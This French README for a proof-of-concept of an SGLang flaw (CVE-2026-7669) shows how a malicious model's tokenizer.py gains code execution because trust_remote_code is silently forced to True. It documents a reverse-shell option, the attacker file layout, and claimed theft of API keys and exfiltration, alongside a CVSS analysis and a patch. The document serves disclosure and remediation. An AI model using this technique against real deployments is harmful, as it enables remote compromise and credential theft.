
PoC pour CVE-2026-7669 : remplacement silencieux de trust_remote_code dans SGLang -> RCE
SGLang remplace silencieusement trust_remote_code=False par True et ré-invoque
AutoTokenizer.from_pretrained dès que transformers v5 renvoie un objet
TokenizersBackend. Un modèle avec un tokenizer_class personnalisé et un
auto_map pointant vers tokenizer.py atteint une exécution de code arbitraire
dans le processus SGLang même lorsque l'opérateur a passé False. Aucune ligne
de journal n'est émise à quelque niveau que ce soit.
main actuel (commit fae90abf6)python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Élevéif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
Introduit dans la PR #17784
(commit d1e95af28, 2026-03-18). La notification originale logger.info(...)
a été supprimée par le commit 27ac831a8 (2026-03-23) sous un titre
« docs: improve CI and testing documentation », laissant la substitution
entièrement silencieuse dans chaque version vulnérable publiée.
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
Construit une image Docker (python:3.12.7-slim-bookworm + transformers==5.3.0
Autres modes :
./run.sh --server reproduire via TokenizerManager.__init__
./run.sh --versions matrice transformers 5.0..5.5
./run.sh --revshell IP reverse shell optionnel vers IP:4444
./run.sh --rebuild forcer la reconstruction --no-cache
./run.sh --copy-ledger ./ledger.json
La sortie 0 signifie confirmé. Résumé final :
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
Codes de sortie :
| Code | Signification |
|---|---|
| 0 | Confirmé |
| 1 | Non déclenché |
| 2 | Faux positif (transformers lui-même a exécuté tokenizer.py, le bug est en amont) |
| 3 | Vérification préalable de la version épinglée échouée |
La phase de vérification préalable lit pinned_versions.json et vérifie chaque
valeur par rapport à l'environnement d'exécution. Toute dérive entraîne une
sortie 3 avant l'exécution des tests.
| Composant | Épinglage |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| Commit SGLang | fae90abf6e15aaffb6fd924a439253674771487d |
SHA256 de hf_transformers_utils.py | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| SHA256 du bloc vulnérable (lignes 898-909) | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| Métrique | Valeur | Appuyé par |
|---|---|---|
| AV | N | Les fichiers déclencheurs (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) sont la disposition standard auto_map du HF Hub. Tout registre qui les sert atteint le bug. |
| AC | L | PHASE-2 se déclenche de manière déterministe en une seule exécution. Chaque condition de déclenchement est un contenu créé par l'attaquant. PRE-1..7 confirment l'absence d'empreinte environnementale. |
| PR | N | Un téléversement gratuit sur le HF Hub est suffisant. Rien dans la chaîne de déclenchement n'exige de privilège préexistant sur la victime. |
| UI | R | Le déclenchement ne se produit que lorsqu'un opérateur (ou un pipeline configuré par l'opérateur) invoque launch_server --model-path attacker/model. |
| S | U | Toutes les affirmations SEV-* s'exécutent dans l'autorité du processus SGLang. Aucune évasion de sandbox ou de conteneur. |
| C | H | SEV-secrets capture HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY depuis l'environnement du processus. SEV-network ouvre un canal d'exfiltration TCP sortant. |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip sont quatre primitives d'intégrité indépendantes dans des emplacements sensibles différents. |
| A | H | Déduit de l'RCE. SEV-pip prouve l'exécution arbitraire de sous-processus, qui est la même primitive nécessaire pour un auto-DoS. Le PoC ne démontre pas directement une auto-destruction. |
8.8 est le plancher conservateur. 9.6 (avec S:C) et 10.0 (avec S:C et
UI:N) sont défendables mais dépendent de l'évaluateur.
UI:N n'est pas justifié pour cette CVE. Le serveur HTTP de SGLang possède
un contournement réel d'absence d'authentification par défaut lorsque
api_key=None et admin_api_key=None (vérifié par AUTH-1 contre la primitive
decide_request_auth à l'exécution), mais aucun point de terminaison HTTP
n'atteint get_tokenizer après le démarrage (vérifié par CHAIN-1). Les quatre
sites d'appel de get_tokenizer (TokenizerManager.__init__,
Scheduler.__init__, TPWorker.__init__, DetokenizerManager.__init__)
se déclenchent une fois au lancement du serveur à partir du --model-path
fourni par l'opérateur. Le contournement d'authentification est donc un
problème distinct et non un partenaire de chaîne pour la CVE-2026-7669.
Le PoC écrit un registre JSON dans /tmp/poc_claim_ledger.json avec 29
affirmations testables individuellement. Utilisez ./run.sh --copy-ledger ./ledger.json pour l'extraire.
| Groupe | Affirmations |
|---|---|
PRE-1..7 | Versions épinglées (Python, transformers, SHA256 du fichier, nombre de lignes, SHA256 du bloc de substitution, trust_remote_code par défaut, chemin source) |
SRC-1 | Le source importé de get_tokenizer contient la substitution |
PHASE-1 | transformers respecte trust_remote_code=False directement |
PHASE-1b, PHASE-1b-mech | SGLang sans les lignes 898-909 respecte False et effectue exactement un appel from_pretrained |
PHASE-2, PHASE-2-mech, PHASE-2-silent | Le vrai SGLang exécute tokenizer.py. La trace montre l'appel 0 (False)->TokenizersBackend, l'appel 1 (True)->MaliciousTokenizer. Aucune ligne de journal ne mentionne trust_remote_code (capture DEBUG sur le logger racine et sglang). |
PHASE-2b | Patché + True explicite charge toujours (le patch est chirurgical) |
PHASE-3-rce, PHASE-3-via-override | Le mode tokenizer lent atteint également l'RCE via le même chemin 898-909 |
SEV-write-sglang, SEV-write-launchsrv, SEV-write-model | Primitives de persistance et de propagation latérale |
SEV-network | Canal d'exfiltration TCP sortant |
SEV-secrets | Capture de secrets de variables d'environnement |
SEV-pip | Installation pip arbitraire (chaîne d'approvisionnement) |
SEV-root | Processus s'exécutant en root dans l'image lmsysorg |
AUTH-1 | Les ServerArgs par défaut (api_key=None, ) laissent tous les points de terminaison accessibles sans authentification |
Fichiers du modèle déclencheur (tous contrôlés par l'attaquant, tous autorisés par le HF Hub) :
attacker/model/
config.json model_type "gpt2" (dans TOKENIZER_MAPPING_NAMES de transformers)
tokenizer_config.json tokenizer_class personnalisé + auto_map -> tokenizer.py
tokenizer.json tokenizer BPE valide (pour que le premier chargement réussisse)
tokenizer.py charge utile
model.safetensors poids factices
Flux d'exécution dans get_tokenizer(MODEL_DIR, trust_remote_code=False) :
AutoTokenizer.from_pretrained(..., trust_remote_code=False).tokenizer_class personnalisé absent de son
registre, retombe sur un TokenizersBackend générique construit à partir de
tokenizer.json. tokenizer.py n'est pas exécuté à ce stade.type(tokenizer).__name__ == "TokenizersBackend"
et réessaient silencieusement avec trust_remote_code=True.tokenizer.py. Les instructions de niveau supérieur s'exécutent dans le
processus SGLang.Le PHASE-2-mech du PoC capture la trace littéralement :
[{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
{idx: 1, trust_remote_code: True, returned_type: "MaliciousTokenizer"}]
Supprimez les lignes 898-909. TokenizersBackend est un tokenizer utilisable
pour de nombreuses charges de travail et le renvoyer tel quel est un défaut
sûr. Si un modèle nécessite réellement un code de tokenizer personnalisé,
l'opérateur doit passer --trust-remote-code explicitement.
Alternativement, journalisez un avertissement fort et renvoyez
TokenizersBackend sans ré-invoquer from_pretrained :
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
logger.warning(
"Model %s requires a custom tokenizer but trust_remote_code=False. "
"Returning generic TokenizersBackend without executing tokenizer.py. "
"Restart with --trust-remote-code if the custom code is required.",
tokenizer_name,
)
PHASE-2b vérifie que le patch minimal est chirurgical : un
trust_remote_code=True explicite charge toujours le modèle.
trust_remote_code de HuggingFace : https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrainedCe PoC est destiné à la recherche défensive en sécurité et à la remédiation.
Le tokenizer.py malveillant écrit uniquement dans /tmp/sglang_poc_proof.txt
dans le conteneur par défaut. Ne l'exécutez pas contre des systèmes dont vous
n'êtes pas propriétaire ou pour lesquels vous n'avez pas l'autorisation de tester.
admin_api_key=NoneADMIN_OPTIONALAUTH-2, AUTH-3 | Contrôles positifs confirmant que le middleware bloque l'accès non authentifié et accepte un bearer valide lorsqu'il est configuré |
CHAIN-1 | Aucun gestionnaire de point de terminaison HTTP n'invoque get_tokenizer() après le démarrage (zéro site d'appel dans http_server.py) |
CHAIN-2 | Verdict explicite : UI:N n'est PAS justifié pour cette CVE. Le contournement d'absence d'authentification par défaut est réel mais ne peut pas atteindre la substitution trust_remote_code, car les quatre appelants de get_tokenizer (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) sont des chemins __init__ déclenchés une fois au lancement du serveur. L'opérateur choisit toujours le chemin du modèle au moment de launch_server, donc UI:R reste valable. |